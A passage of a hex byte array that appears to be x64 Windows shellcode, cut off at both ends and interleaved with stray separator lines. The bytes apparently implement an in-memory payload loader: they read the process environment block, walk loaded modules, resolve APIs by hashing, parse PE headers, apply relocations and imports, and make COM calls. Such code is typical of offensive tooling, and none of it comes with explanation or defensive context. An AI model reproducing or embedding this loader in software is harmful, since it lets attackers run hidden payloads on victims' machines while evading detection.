0x48, 0x8b, 0x14, 0x18, 0x4b, 0x8d, 0x04, 0x03, 0x48, 0x03, 0xd6, 0x48,
|
||||
0x89, 0x14, 0x18, 0xeb, 0x0a, 0x66, 0x45, 0x3b, 0xde, 0x0f, 0x83, 0x00,
|
||||
0x03, 0x00, 0x00, 0x49, 0x83, 0xc2, 0x02, 0x41, 0x8b, 0x41, 0x04, 0x49,
|
||||
0x03, 0xc1, 0x4c, 0x3b, 0xd0, 0x75, 0xad, 0x4d, 0x8b, 0xca, 0x45, 0x39,
|
||||
0x22, 0x75, 0x9f, 0x8b, 0x87, 0x90, 0x00, 0x00, 0x00, 0x85, 0xc0, 0x0f,
|
||||
0x84, 0x84, 0x00, 0x00, 0x00, 0x48, 0x8d, 0x34, 0x03, 0x8b, 0x46, 0x0c,
|
||||
0x85, 0xc0, 0x74, 0x79, 0x8b, 0xc8, 0x48, 0x03, 0xcb, 0xff, 0x55, 0x30,
|
||||
0x44, 0x8b, 0x36, 0x48, 0x8b, 0xf8, 0x44, 0x8b, 0x66, 0x10, 0x4c, 0x03,
|
||||
0xf3, 0x4c, 0x03, 0xe3, 0xeb, 0x41, 0x79, 0x05, 0x0f, 0xb7, 0xd1, 0xeb,
|
||||
0x28, 0x41, 0x83, 0x7d, 0x04, 0x00, 0x4c, 0x8d, 0x3c, 0x19, 0x74, 0x19,
|
||||
0x49, 0x8d, 0x57, 0x02, 0x48, 0x8b, 0xcd, 0xe8, 0x28, 0xf3, 0xff, 0xff,
|
||||
0x85, 0xc0, 0x74, 0x09, 0x48, 0x8b, 0x85, 0x90, 0x01, 0x00, 0x00, 0xeb,
|
||||
0x0a, 0x49, 0x8d, 0x57, 0x02, 0x48, 0x8b, 0xcf, 0xff, 0x55, 0x38, 0x49,
|
||||
0x83, 0xc6, 0x08, 0x49, 0x89, 0x04, 0x24, 0x49, 0x83, 0xc4, 0x08, 0x49,
|
||||
0x8b, 0x0e, 0x48, 0x85, 0xc9, 0x75, 0xb7, 0x8b, 0x46, 0x20, 0x48, 0x83,
|
||||
0xc6, 0x14, 0x45, 0x33, 0xe4, 0x85, 0xc0, 0x75, 0x8f, 0x48, 0x8b, 0xbc,
|
||||
0x24, 0x80, 0x02, 0x00, 0x00, 0x8b, 0x87, 0xf0, 0x00, 0x00, 0x00, 0x85,
|
||||
0xc0, 0x74, 0x63, 0x48, 0x8d, 0x73, 0x04, 0x48, 0x03, 0xf0, 0xeb, 0x54,
|
||||
0x8b, 0xc8, 0x48, 0x03, 0xcb, 0xff, 0x55, 0x30, 0x4c, 0x8b, 0xe0, 0x48,
|
||||
0x85, 0xc0, 0x74, 0x3d, 0x44, 0x8b, 0x76, 0x0c, 0x44, 0x8b, 0x7e, 0x08,
|
||||
0x4c, 0x03, 0xf3, 0x4c, 0x03, 0xfb, 0xeb, 0x25, 0x48, 0x8b, 0x45, 0x38,
|
||||
0x48, 0x85, 0xc9, 0x79, 0x05, 0x0f, 0xb7, 0xd1, 0xeb, 0x07, 0x48, 0x8d,
|
||||
0x53, 0x02, 0x48, 0x03, 0xd1, 0x49, 0x8b, 0xcc, 0xff, 0xd0, 0x49, 0x83,
|
||||
0xc6, 0x08, 0x49, 0x89, 0x07, 0x49, 0x83, 0xc7, 0x08, 0x49, 0x8b, 0x0e,
|
||||
0x48, 0x85, 0xc9, 0x75, 0xd3, 0x48, 0x83, 0xc6, 0x20, 0x45, 0x33, 0xe4,
|
||||
0x8b, 0x06, 0x85, 0xc0, 0x75, 0xa6, 0x8b, 0x87, 0xd0, 0x00, 0x00, 0x00,
|
||||
0x85, 0xc0, 0x74, 0x24, 0x48, 0x8b, 0x74, 0x18, 0x18, 0x48, 0x85, 0xf6,
|
||||
0x74, 0x1a, 0xeb, 0x10, 0x45, 0x33, 0xc0, 0x48, 0x8b, 0xcb, 0x41, 0x8d,
|
||||
0x50, 0x01, 0xff, 0xd0, 0x48, 0x8d, 0x76, 0x08, 0x48, 0x8b, 0x06, 0x48,
|
||||
0x85, 0xc0, 0x75, 0xe8, 0x8b, 0x77, 0x28, 0x48, 0x03, 0xf3, 0x41, 0x83,
|
||||
0x7d, 0x00, 0x03, 0x0f, 0x85, 0x12, 0x01, 0x00, 0x00, 0x45, 0x33, 0xc0,
|
||||
0x48, 0x8b, 0xcb, 0x41, 0x8d, 0x50, 0x01, 0xff, 0xd6, 0x49, 0x8d, 0x95,
|
||||
0x0c, 0x03, 0x00, 0x00, 0x44, 0x38, 0x22, 0x0f, 0x84, 0x8e, 0x01, 0x00,
|
||||
0x00, 0x8b, 0x87, 0x88, 0x00, 0x00, 0x00, 0x85, 0xc0, 0x0f, 0x84, 0x80,
|
||||
0x01, 0x00, 0x00, 0x48, 0x03, 0xc3, 0x8b, 0x70, 0x18, 0x85, 0xf6, 0x0f,
|
||||
0x84, 0x72, 0x01, 0x00, 0x00, 0x44, 0x8b, 0x70, 0x1c, 0x44, 0x8b, 0x60,
|
||||
0x20, 0x4c, 0x03, 0xf3, 0x44, 0x8b, 0x78, 0x24, 0x4c, 0x03, 0xe3, 0x4c,
|
||||
0x03, 0xfb, 0xff, 0xce, 0x8b, 0xc6, 0x48, 0x89, 0x84, 0x24, 0x80, 0x02,
|
||||
0x00, 0x00, 0x41, 0x8b, 0x0c, 0xb4, 0x48, 0x03, 0xcb, 0xe8, 0x9e, 0x0c,
|
||||
0x00, 0x00, 0x85, 0xc0, 0x74, 0x0d, 0x85, 0xf6, 0x74, 0x1f, 0x49, 0x8d,
|
||||
0x95, 0x0c, 0x03, 0x00, 0x00, 0xeb, 0xd7, 0x48, 0x8b, 0x84, 0x24, 0x80,
|
||||
0x02, 0x00, 0x00, 0x41, 0x0f, 0xb7, 0x04, 0x47, 0x41, 0x8b, 0x34, 0x86,
|
||||
0x48, 0x03, 0xf3, 0xeb, 0x08, 0x48, 0x8b, 0xb4, 0x24, 0x88, 0x02, 0x00,
|
||||
0x00, 0x44, 0x8b, 0x47, 0x54, 0x33, 0xd2, 0x48, 0x8b, 0xcb, 0xe8, 0x45,
|
||||
0x0c, 0x00, 0x00, 0x44, 0x8b, 0x47, 0x54, 0x49, 0x8d, 0x8d, 0x28, 0x05,
|
||||
0x00, 0x00, 0x33, 0xd2, 0xe8, 0x33, 0x0c, 0x00, 0x00, 0x48, 0x85, 0xf6,
|
||||
0x0f, 0x84, 0xed, 0x00, 0x00, 0x00, 0x49, 0x8d, 0xbd, 0x0c, 0x04, 0x00,
|
||||
0x00, 0x80, 0x3f, 0x00, 0x74, 0x42, 0x41, 0x8b, 0x85, 0x0c, 0x05, 0x00,
|
||||
0x00, 0x85, 0xc0, 0x74, 0x27, 0x48, 0x8d, 0x44, 0x24, 0x30, 0xc7, 0x44,
|
||||
0x24, 0x28, 0x00, 0x01, 0x00, 0x00, 0x41, 0x83, 0xc9, 0xff, 0x48, 0x89,
|
||||
0x44, 0x24, 0x20, 0x4c, 0x8b, 0xc7, 0x33, 0xd2, 0x33, 0xc9, 0xff, 0x55,
|
||||
0x70, 0x41, 0x8b, 0x85, 0x0c, 0x05, 0x00, 0x00, 0x85, 0xc0, 0x48, 0x8d,
|
||||
0x4c, 0x24, 0x30, 0x48, 0x0f, 0x44, 0xcf, 0xe9, 0x9d, 0x00, 0x00, 0x00,
|
||||
0xff, 0xd6, 0xe9, 0x98, 0x00, 0x00, 0x00, 0x4d, 0x8d, 0x85, 0x0c, 0x04,
|
||||
0x00, 0x00, 0x45, 0x38, 0x20, 0x74, 0x2a, 0x48, 0x8d, 0x44, 0x24, 0x30,
|
||||
0xc7, 0x44, 0x24, 0x28, 0x00, 0x01, 0x00, 0x00, 0x41, 0x83, 0xc9, 0xff,
|
||||
0x48, 0x89, 0x44, 0x24, 0x20, 0x33, 0xd2, 0x33, 0xc9, 0xff, 0x55, 0x70,
|
||||
0x48, 0x8d, 0x54, 0x24, 0x30, 0x48, 0x8b, 0xcd, 0xe8, 0x87, 0x03, 0x00,
|
||||
0x00, 0x44, 0x8b, 0x47, 0x54, 0x33, 0xd2, 0x48, 0x8b, 0xcb, 0xe8, 0x91,
|
||||
0x0b, 0x00, 0x00, 0x44, 0x8b, 0x47, 0x54, 0x49, 0x8d, 0x8d, 0x28, 0x05,
|
||||
0x00, 0x00, 0x33, 0xd2, 0xe8, 0x7f, 0x0b, 0x00, 0x00, 0x45, 0x39, 0x65,
|
||||
0x04, 0x74, 0x2d, 0x4c, 0x89, 0x64, 0x24, 0x28, 0x45, 0x33, 0xc9, 0x4c,
|
||||
0x8b, 0xc6, 0x44, 0x89, 0x64, 0x24, 0x20, 0x33, 0xd2, 0x33, 0xc9, 0xff,
|
||||
0x95, 0x88, 0x00, 0x00, 0x00, 0x48, 0x85, 0xc0, 0x74, 0x1d, 0x83, 0xca,
|
||||
0xff, 0x48, 0x8b, 0xc8, 0xff, 0x95, 0x80, 0x00, 0x00, 0x00, 0xeb, 0x0f,
|
||||
0x65, 0x48, 0x8b, 0x0c, 0x25, 0x30, 0x00, 0x00, 0x00, 0x48, 0x8b, 0x49,
|
||||
0x60, 0xff, 0xd6, 0x33, 0xd2, 0x41, 0xb8, 0x00, 0xc0, 0x00, 0x00, 0x48,
|
||||
0x8b, 0xcb, 0xff, 0x55, 0x50, 0x48, 0x8b, 0x9c, 0x24, 0x90, 0x02, 0x00,
|
||||
0x00, 0x48, 0x81, 0xc4, 0x40, 0x02, 0x00, 0x00, 0x41, 0x5f, 0x41, 0x5e,
|
||||
0x41, 0x5d, 0x41, 0x5c, 0x5f, 0x5e, 0x5d, 0xc3, 0x48, 0x89, 0x5c, 0x24,
|
||||
0x10, 0x48, 0x89, 0x74, 0x24, 0x20, 0x55, 0x57, 0x41, 0x56, 0x48, 0x8d,
|
||||
0xac, 0x24, 0xc0, 0xfc, 0xff, 0xff, 0x48, 0x81, 0xec, 0x40, 0x04, 0x00,
|
||||
0x00, 0x48, 0x8b, 0xda, 0x48, 0x8b, 0xf1, 0x48, 0x8b, 0x91, 0x18, 0x09,
|
||||
0x00, 0x00, 0x41, 0xb8, 0x00, 0x30, 0x00, 0x00, 0x33, 0xc9, 0x48, 0x8d,
|
||||
0x14, 0x55, 0x02, 0x00, 0x00, 0x00, 0x44, 0x8d, 0x49, 0x04, 0xff, 0x56,
|
||||
0x48, 0x4c, 0x8b, 0xf0, 0x48, 0x85, 0xc0, 0x0f, 0x84, 0x94, 0x02, 0x00,
|
||||
0x00, 0x8b, 0x8b, 0x24, 0x05, 0x00, 0x00, 0x4c, 0x8d, 0x83, 0x28, 0x05,
|
||||
0x00, 0x00, 0x03, 0xc9, 0x83, 0xcb, 0xff, 0x89, 0x4c, 0x24, 0x28, 0x44,
|
||||
0x8b, 0xcb, 0x33, 0xc9, 0x48, 0x89, 0x44, 0x24, 0x20, 0x33, 0xd2, 0xff,
|
||||
0x56, 0x70, 0x83, 0x65, 0xe8, 0x00, 0x48, 0x8d, 0x45, 0x80, 0x83, 0x65,
|
||||
0xf8, 0x00, 0x48, 0x8d, 0x55, 0x08, 0x48, 0x89, 0x45, 0xe0, 0x48, 0x8b,
|
||||
0xce, 0x48, 0x8d, 0x05, 0x04, 0xe4, 0xff, 0xff, 0x48, 0x89, 0x75, 0x38,
|
||||
0x48, 0x89, 0x45, 0x80, 0x48, 0x8d, 0x05, 0x89, 0xe2, 0xff, 0xff, 0x48,
|
||||
0x89, 0x45, 0x88, 0x48, 0x8d, 0x05, 0xe6, 0xe2, 0xff, 0xff, 0x48, 0x89,
|
||||
0x45, 0x90, 0x48, 0x8d, 0x05, 0x63, 0xe3, 0xff, 0xff, 0x48, 0x89, 0x45,
|
||||
0x98, 0x48, 0x8d, 0x05, 0xe0, 0xe2, 0xff, 0xff, 0x48, 0x89, 0x45, 0xa0,
|
||||
0x48, 0x8d, 0x05, 0xd1, 0xe2, 0xff, 0xff, 0x48, 0x89, 0x45, 0xa8, 0x48,
|
||||
0x8d, 0x05, 0xc6, 0xe2, 0xff, 0xff, 0x48, 0x89, 0x45, 0xb0, 0x48, 0x8d,
|
||||
0x05, 0xbb, 0xe2, 0xff, 0xff, 0x48, 0x89, 0x45, 0xb8, 0x48, 0x8d, 0x05,
|
||||
0x48, 0xe3, 0xff, 0xff, 0x48, 0x89, 0x45, 0xc0, 0x48, 0x8d, 0x05, 0xa5,
|
||||
0xe2, 0xff, 0xff, 0x48, 0x89, 0x45, 0xc8, 0x48, 0x8d, 0x05, 0x9a, 0xe2,
|
||||
0xff, 0xff, 0x48, 0x89, 0x45, 0xd0, 0x48, 0x8d, 0x44, 0x24, 0x50, 0x48,
|
||||
0x89, 0x45, 0xf0, 0x48, 0x8d, 0x05, 0x22, 0xe2, 0xff, 0xff, 0x48, 0x89,
|
||||
0x44, 0x24, 0x50, 0x48, 0x8d, 0x05, 0x06, 0xe2, 0xff, 0xff, 0x48, 0x89,
|
||||
0x44, 0x24, 0x58, 0x48, 0x8d, 0x05, 0x62, 0xe2, 0xff, 0xff, 0x48, 0x89,
|
||||
0x44, 0x24, 0x60, 0x48, 0x8d, 0x05, 0xf6, 0xe1, 0xff, 0xff, 0x48, 0x89,
|
||||
0x44, 0x24, 0x68, 0x48, 0x8d, 0x05, 0xea, 0xe1, 0xff, 0xff, 0x48, 0x89,
|
||||
0x44, 0x24, 0x70, 0x48, 0x8d, 0x45, 0x40, 0x48, 0x89, 0x45, 0x08, 0x48,
|
||||
0x89, 0x75, 0x00, 0xe8, 0x0c, 0xec, 0xff, 0xff, 0x33, 0xd2, 0x33, 0xc9,
|
||||
0xff, 0x96, 0x58, 0x01, 0x00, 0x00, 0x85, 0xc0, 0x0f, 0x85, 0x4c, 0x01,
|
||||
0x00, 0x00, 0x48, 0x8d, 0x85, 0x60, 0x03, 0x00, 0x00, 0x33, 0xd2, 0x4c,
|
||||
0x8d, 0x8e, 0x94, 0x06, 0x00, 0x00, 0x48, 0x89, 0x44, 0x24, 0x20, 0x48,
|
||||
0x8d, 0x8e, 0x74, 0x06, 0x00, 0x00, 0x44, 0x8d, 0x43, 0x04, 0xff, 0x96,
|
||||
0x60, 0x01, 0x00, 0x00, 0x85, 0xc0, 0x0f, 0x85, 0x1e, 0x01, 0x00, 0x00,
|
||||
0x48, 0x8b, 0x8d, 0x60, 0x03, 0x00, 0x00, 0x48, 0x8d, 0x96, 0xd4, 0x06,
|
||||
0x00, 0x00, 0x4c, 0x8d, 0x85, 0x70, 0x03, 0x00, 0x00, 0x48, 0x8b, 0x01,
|
||||
0xff, 0x10, 0x85, 0xc0, 0x0f, 0x85, 0xe2, 0x00, 0x00, 0x00, 0x48, 0x8b,
|
||||
0x8d, 0x70, 0x03, 0x00, 0x00, 0x48, 0x8b, 0x01, 0xff, 0x50, 0x18, 0x85,
|
||||
0xc0, 0x0f, 0x85, 0xc0, 0x00, 0x00, 0x00, 0x48, 0x8b, 0x8d, 0x60, 0x03,
|
||||
0x00, 0x00, 0x48, 0x8d, 0x55, 0xe0, 0x48, 0x89, 0x4d, 0x20, 0x48, 0x8b,
|
||||
0x01, 0xff, 0x50, 0x18, 0x85, 0xc0, 0x0f, 0x85, 0xa3, 0x00, 0x00, 0x00,
|
||||
0x48, 0x8d, 0x85, 0x30, 0x01, 0x00, 0x00, 0xc7, 0x44, 0x24, 0x28, 0x00,
|
||||
0x01, 0x00, 0x00, 0x4c, 0x8d, 0x86, 0xe0, 0x05, 0x00, 0x00, 0x48, 0x89,
|
||||
0x44, 0x24, 0x20, 0x44, 0x8b, 0xcb, 0x33, 0xd2, 0x33, 0xc9, 0xff, 0x56,
|
||||
0x70, 0x48, 0x8d, 0x8d, 0x30, 0x01, 0x00, 0x00, 0xff, 0x96, 0xe8, 0x00,
|
||||
0x00, 0x00, 0x48, 0x8b, 0x8d, 0x60, 0x03, 0x00, 0x00, 0x44, 0x8d, 0x43,
|
||||
0x03, 0x48, 0x8b, 0xd0, 0x48, 0x8b, 0xf8, 0x4c, 0x8b, 0x09, 0x41, 0xff,
|
||||
0x51, 0x40, 0x48, 0x8b, 0xcf, 0x8b, 0xd8, 0xff, 0x96, 0xf0, 0x00, 0x00,
|
||||
0x00, 0x85, 0xdb, 0x75, 0x4a, 0x48, 0x83, 0x64, 0x24, 0x48, 0x00, 0x45,
|
||||
0x33, 0xc9, 0x48, 0x83, 0x64, 0x24, 0x40, 0x00, 0x45, 0x33, 0xc0, 0x21,
|
||||
0x5c, 0x24, 0x38, 0x49, 0x8b, 0xd6, 0x48, 0x8b, 0x8d, 0x70, 0x03, 0x00,
|
||||
0x00, 0x21, 0x5c, 0x24, 0x30, 0x48, 0x83, 0x64, 0x24, 0x28, 0x00, 0x48,
|
||||
0x83, 0x64, 0x24, 0x20, 0x00, 0x48, 0x8b, 0x01, 0xff, 0x50, 0x28, 0x85,
|
||||
0xc0, 0x75, 0x10, 0x48, 0x8b, 0x8d, 0x60, 0x03, 0x00, 0x00, 0x8d, 0x53,
|
||||
0x02, 0x48, 0x8b, 0x01, 0xff, 0x50, 0x28, 0x48, 0x8b, 0x8d, 0x70, 0x03,
|
||||
0x00, 0x00, 0x48, 0x8b, 0x01, 0xff, 0x50, 0x10, 0x48, 0x8b, 0x8d, 0x60,
|
||||
0x03, 0x00, 0x00, 0x48, 0x8b, 0x01, 0xff, 0x50, 0x38, 0x48, 0x8b, 0x8d,
|
||||
0x60, 0x03, 0x00, 0x00, 0x48, 0x8b, 0x01, 0xff, 0x50, 0x10, 0x44, 0x8b,
|
||||
0x86, 0x18, 0x09, 0x00, 0x00, 0x33, 0xd2, 0x49, 0x8b, 0xce, 0x46, 0x8d,
|
||||
0x04, 0x45, 0x02, 0x00, 0x00, 0x00, 0xe8, 0x41, 0x08, 0x00, 0x00, 0x33,
|
||||
0xd2, 0x41, 0xb8, 0x00, 0xc0, 0x00, 0x00, 0x49, 0x8b, 0xce, 0xff, 0x56,
|
||||
0x50, 0x4c, 0x8d, 0x9c, 0x24, 0x40, 0x04, 0x00, 0x00, 0x49, 0x8b, 0x5b,
|
||||
0x28, 0x49, 0x8b, 0x73, 0x38, 0x49, 0x8b, 0xe3, 0x41, 0x5e, 0x5f, 0x5d,
|
||||
0xc3, 0xcc, 0xcc, 0xcc, 0x48, 0x89, 0x5c, 0x24, 0x10, 0x48, 0x89, 0x6c,
|
||||
0x24, 0x18, 0x48, 0x89, 0x74, 0x24, 0x20, 0x57, 0x41, 0x54, 0x41, 0x55,
|
||||
0x41, 0x56, 0x41, 0x57, 0x48, 0x81, 0xec, 0xb0, 0x00, 0x00, 0x00, 0x65,
|
||||
0x48, 0x8b, 0x04, 0x25, 0x30, 0x00, 0x00, 0x00, 0x48, 0x8b, 0xf9, 0x48,
|
||||
0x81, 0xc1, 0x4c, 0x03, 0x00, 0x00, 0x48, 0x8b, 0xea, 0x4c, 0x8b, 0x70,
|
||||
0x60, 0xff, 0x57, 0x40, 0x33, 0xc9, 0x4c, 0x8b, 0xd8, 0x4c, 0x63, 0x48,
|
||||
0x3c, 0x4c, 0x03, 0xc8, 0x45, 0x0f, 0xb7, 0x51, 0x14, 0x45, 0x0f, 0xb7,
|
||||
0x41, 0x06, 0x4d, 0x03, 0xd1, 0x45, 0x85, 0xc0, 0x74, 0x19, 0x44, 0x8b,
|
||||
0x8f, 0x44, 0x03, 0x00, 0x00, 0x48, 0x8d, 0x04, 0x89, 0x45, 0x39, 0x4c,
|
||||
0xc2, 0x18, 0x74, 0x3a, 0xff, 0xc1, 0x41, 0x3b, 0xc8, 0x72, 0xee, 0x8b,
|
||||
0x9c, 0x24, 0xe0, 0x00, 0x00, 0x00, 0x48, 0x8b, 0xb4, 0x24, 0xe0, 0x00,
|
||||
0x00, 0x00, 0xff, 0x97, 0xa8, 0x00, 0x00, 0x00, 0x33, 0xd2, 0x85, 0xdb,
|
||||
0x74, 0x39, 0x48, 0x8b, 0xce, 0x4c, 0x8b, 0xe9, 0x48, 0x39, 0x41, 0x08,
|
||||
0x74, 0x22, 0xff, 0xc2, 0x48, 0x83, 0xc1, 0x08, 0x3b, 0xd3, 0x72, 0xed,
|
||||
0xeb, 0x29, 0x48, 0x8d, 0x04, 0x89, 0x41, 0x8b, 0x74, 0xc2, 0x24, 0x41,
|
||||
0x8b, 0x5c, 0xc2, 0x20, 0x49, 0x03, 0xf3, 0xc1, 0xeb, 0x03, 0xeb, 0xc6,
|
||||
0x48, 0x8b, 0xd5, 0xff, 0x97, 0xa0, 0x01, 0x00, 0x00, 0xeb, 0x08, 0x4c,
|
||||
0x8b, 0xac, 0x24, 0xe0, 0x00, 0x00, 0x00, 0xff, 0x97, 0xa0, 0x00, 0x00,
|
||||
0x00, 0x33, 0xed, 0x44, 0x8d, 0x4d, 0x01, 0x85, 0xdb, 0x74, 0x41, 0x48,
|
||||
0x8d, 0x4e, 0x08, 0x48, 0x39, 0x01, 0x74, 0x0d, 0x41, 0x03, 0xe9, 0x48,
|
||||
0x83, 0xc1, 0x08, 0x3b, 0xeb, 0x72, 0xf0, 0xeb, 0x2b, 0x45, 0x8a, 0xc1,
|
||||
0x48, 0x8d, 0x4c, 0x24, 0x20, 0x49, 0x8b, 0xd5, 0xff, 0x97, 0x80, 0x01,
|
||||
0x00, 0x00, 0x48, 0x8d, 0x0c, 0xee, 0x41, 0xb8, 0x10, 0x00, 0x00, 0x00,
|
||||
0x48, 0x8d, 0x54, 0x24, 0x20, 0xe8, 0xde, 0x06, 0x00, 0x00, 0x41, 0xb9,
|
||||
0x01, 0x00, 0x00, 0x00, 0x49, 0x8b, 0x46, 0x18, 0x48, 0x8b, 0x70, 0x10,
|
||||
0xe9, 0xf9, 0x00, 0x00, 0x00, 0x4c, 0x8d, 0xb7, 0x6c, 0x03, 0x00, 0x00,
|
||||
0x41, 0x8a, 0x0e, 0x33, 0xed, 0x33, 0xd2, 0x45, 0x8b, 0xf9, 0x84, 0xc9,
|
||||
0x0f, 0x84, 0xdd, 0x00, 0x00, 0x00, 0x45, 0x33, 0xc0, 0x80, 0xf9, 0x3b,
|
||||
0x74, 0x2e, 0x81, 0xfa, 0x80, 0x00, 0x00, 0x00, 0x73, 0x26, 0x33, 0xc0,
|
||||
0x42, 0x88, 0x4c, 0x04, 0x30, 0x80, 0xf9, 0x77, 0x41, 0x0f, 0x45, 0xc7,
|
||||
0x80, 0xf9, 0x70, 0x44, 0x8b, 0xf8, 0x41, 0x0f, 0x44, 0xe9, 0x41, 0x03,
|
||||
0xd1, 0x44, 0x8b, 0xc2, 0x42, 0x8a, 0x0c, 0x32, 0x84, 0xc9, 0x75, 0xcd,
|
||||
0x85, 0xd2, 0x0f, 0x84, 0x9f, 0x00, 0x00, 0x00, 0x8d, 0x4a, 0x01, 0xc6,
|
||||
0x44, 0x14, 0x30, 0x00, 0x4c, 0x03, 0xf1, 0x48, 0x8d, 0x54, 0x24, 0x30,
|
||||
0x48, 0x8b, 0x4e, 0x30, 0xff, 0x57, 0x38, 0x48, 0x8b, 0xd8, 0x41, 0xb9,
|
||||
0x01, 0x00, 0x00, 0x00, 0x48, 0x85, 0xc0, 0x74, 0x8b, 0x45, 0x85, 0xff,
|
||||
0x74, 0x38, 0x85, 0xed, 0x74, 0x14, 0xff, 0xd3, 0x48, 0x8b, 0xd8, 0x41,
|
||||
0xb9, 0x01, 0x00, 0x00, 0x00, 0x48, 0x85, 0xc0, 0x0f, 0x84, 0x6e, 0xff,
|
||||
0xff, 0xff, 0x48, 0x8b, 0x13, 0x48, 0x8b, 0xcf, 0xe8, 0x27, 0xec, 0xff,
|
||||
0xff, 0x41, 0xb9, 0x01, 0x00, 0x00, 0x00, 0x85, 0xc0, 0x0f, 0x84, 0x55,
|
||||
0xff, 0xff, 0xff, 0x48, 0x8b, 0x44, 0x24, 0x28, 0xeb, 0x35, 0x85, 0xed,
|
||||
0x74, 0x14, 0xff, 0xd3, 0x48, 0x8b, 0xd8, 0x41, 0xb9, 0x01, 0x00, 0x00,
|
||||
0x00, 0x48, 0x85, 0xc0, 0x0f, 0x84, 0x36, 0xff, 0xff, 0xff, 0x48, 0x8b,
|
||||
0x13, 0x48, 0x8b, 0xcf, 0xe8, 0xef, 0xeb, 0xff, 0xff, 0x41, 0xb9, 0x01,
|
||||
0x00, 0x00, 0x00, 0x85, 0xc0, 0x0f, 0x84, 0x1d, 0xff, 0xff, 0xff, 0x49,
|
||||
0x8b, 0x45, 0x08, 0x48, 0x89, 0x03, 0xe9, 0x11, 0xff, 0xff, 0xff, 0x48,
|
||||
0x8b, 0x36, 0x48, 0x83, 0x7e, 0x30, 0x00, 0x0f, 0x85, 0xfc, 0xfe, 0xff,
|
||||
0xff, 0x4c, 0x8d, 0x9c, 0x24, 0xb0, 0x00, 0x00, 0x00, 0x41, 0x8b, 0xc1,
|
||||
0x49, 0x8b, 0x5b, 0x38, 0x49, 0x8b, 0x6b, 0x40, 0x49, 0x8b, 0x73, 0x48,
|
||||
0x49, 0x8b, 0xe3, 0x41, 0x5f, 0x41, 0x5e, 0x41, 0x5d, 0x41, 0x5c, 0x5f,
|
||||
0xc3, 0xcc, 0xcc, 0xcc, 0x41, 0xc7, 0x00, 0x01, 0x00, 0x00, 0x00, 0x33,
|
||||
0xc0, 0xc3, 0xcc, 0xcc, 0x2b, 0xca, 0x8b, 0xc1, 0xc3, 0xcc, 0xcc, 0xcc,
|
||||
0x44, 0x8b, 0xc2, 0x8b, 0xc1, 0x99, 0x41, 0xf7, 0xf8, 0xc3, 0xcc, 0xcc,
|
||||
0x48, 0x89, 0x5c, 0x24, 0x08, 0x48, 0x89, 0x6c, 0x24, 0x10, 0x48, 0x89,
|
||||
0x74, 0x24, 0x18, 0x57, 0x48, 0x83, 0xec, 0x20, 0x65, 0x48, 0x8b, 0x04,
|
||||
0x25, 0x30, 0x00, 0x00, 0x00, 0x49, 0x8b, 0xf8, 0x48, 0x8b, 0xf2, 0x48,
|
||||
0x8b, 0xe9, 0x45, 0x33, 0xd2, 0x4c, 0x8b, 0x48, 0x60, 0x49, 0x8b, 0x41,
|
||||
0x18, 0x48, 0x8b, 0x58, 0x10, 0xeb, 0x1c, 0x4d, 0x85, 0xd2, 0x75, 0x20,
|
||||
0x4c, 0x8b, 0xcf, 0x4c, 0x8b, 0xc6, 0x48, 0x8b, 0xd0, 0x48, 0x8b, 0xcd,
|
||||
0xe8, 0x5f, 0xe4, 0xff, 0xff, 0x48, 0x8b, 0x1b, 0x4c, 0x8b, 0xd0, 0x48,
|
||||
0x8b, 0x43, 0x30, 0x48, 0x85, 0xc0, 0x75, 0xdb, 0x48, 0x8b, 0x5c, 0x24,
|
||||
0x30, 0x49, 0x8b, 0xc2, 0x48, 0x8b, 0x6c, 0x24, 0x38, 0x48, 0x8b, 0x74,
|
||||
0x24, 0x40, 0x48, 0x83, 0xc4, 0x20, 0x5f, 0xc3, 0x48, 0x89, 0x5c, 0x24,
|
||||
0x08, 0x48, 0x89, 0x6c, 0x24, 0x10, 0x48, 0x89, 0x74, 0x24, 0x18, 0x57,
|
||||
0x41, 0x56, 0x41, 0x57, 0x48, 0x83, 0xec, 0x30, 0x33, 0xf6, 0x45, 0x33,
|
||||
0xf6, 0x33, 0xed, 0x48, 0x8b, 0xfa, 0x4c, 0x8b, 0xf9, 0x43, 0x8a, 0x0c,
|
||||
0x3e, 0x84, 0xc9, 0x74, 0x16, 0x41, 0x83, 0xfe, 0x40, 0x74, 0x10, 0x88,
|
||||
0x4c, 0x34, 0x20, 0x41, 0xff, 0xc6, 0xff, 0xc6, 0x83, 0xfe, 0x10, 0x75,
|
||||
0x67, 0xeb, 0x53, 0x8b, 0xc6, 0x48, 0x8d, 0x5c, 0x24, 0x20, 0x48, 0x03,
|
||||
0xd8, 0x41, 0xb8, 0x10, 0x00, 0x00, 0x00, 0x48, 0x8b, 0xcb, 0x44, 0x2b,
|
||||
0xc6, 0x33, 0xd2, 0xe8, 0xcc, 0x04, 0x00, 0x00, 0xc6, 0x03, 0x80, 0x83,
|
||||
0xfe, 0x0c, 0x72, 0x20, 0x48, 0x8b, 0xd7, 0x48, 0x8d, 0x4c, 0x24, 0x20,
|
||||
0xe8, 0x57, 0x00, 0x00, 0x00, 0x33, 0xd2, 0x48, 0x8d, 0x4c, 0x24, 0x20,
|
||||
0x48, 0x33, 0xf8, 0x44, 0x8d, 0x42, 0x10, 0xe8, 0xa4, 0x04, 0x00, 0x00,
|
||||
0x42, 0x8d, 0x04, 0xf5, 0x00, 0x00, 0x00, 0x00, 0xff, 0xc5, 0x89, 0x44,
|
||||
0x24, 0x2c, 0x48, 0x8b, 0xd7, 0x48, 0x8d, 0x4c, 0x24, 0x20, 0xe8, 0x29,
|
||||
0x00, 0x00, 0x00, 0x48, 0x33, 0xf8, 0x33, 0xf6, 0x85, 0xed, 0x0f, 0x84,
|
||||
0x75, 0xff, 0xff, 0xff, 0x48, 0x8b, 0x5c, 0x24, 0x50, 0x48, 0x8b, 0xc7,
|
||||
0x48, 0x8b, 0x6c, 0x24, 0x58, 0x48, 0x8b, 0x74, 0x24, 0x60, 0x48, 0x83,
|
||||
0xc4, 0x30, 0x41, 0x5f, 0x41, 0x5e, 0x5f, 0xc3, 0x48, 0x8b, 0xc4, 0x53,
|
||||
0x48, 0x83, 0xec, 0x10, 0x0f, 0x10, 0x01, 0x48, 0x89, 0x50, 0x10, 0x8b,
|
||||
0xca, 0x44, 0x8b, 0x40, 0x14, 0x45, 0x33, 0xd2, 0x0f, 0x11, 0x04, 0x24,
|
||||
0x8b, 0x50, 0xf4, 0x44, 0x8b, 0x58, 0xf0, 0x8b, 0x58, 0xec, 0x44, 0x8b,
|
||||
0x0c, 0x24, 0x8b, 0xc2, 0xc1, 0xc9, 0x08, 0x41, 0x03, 0xc8, 0x8b, 0xd3,
|
||||
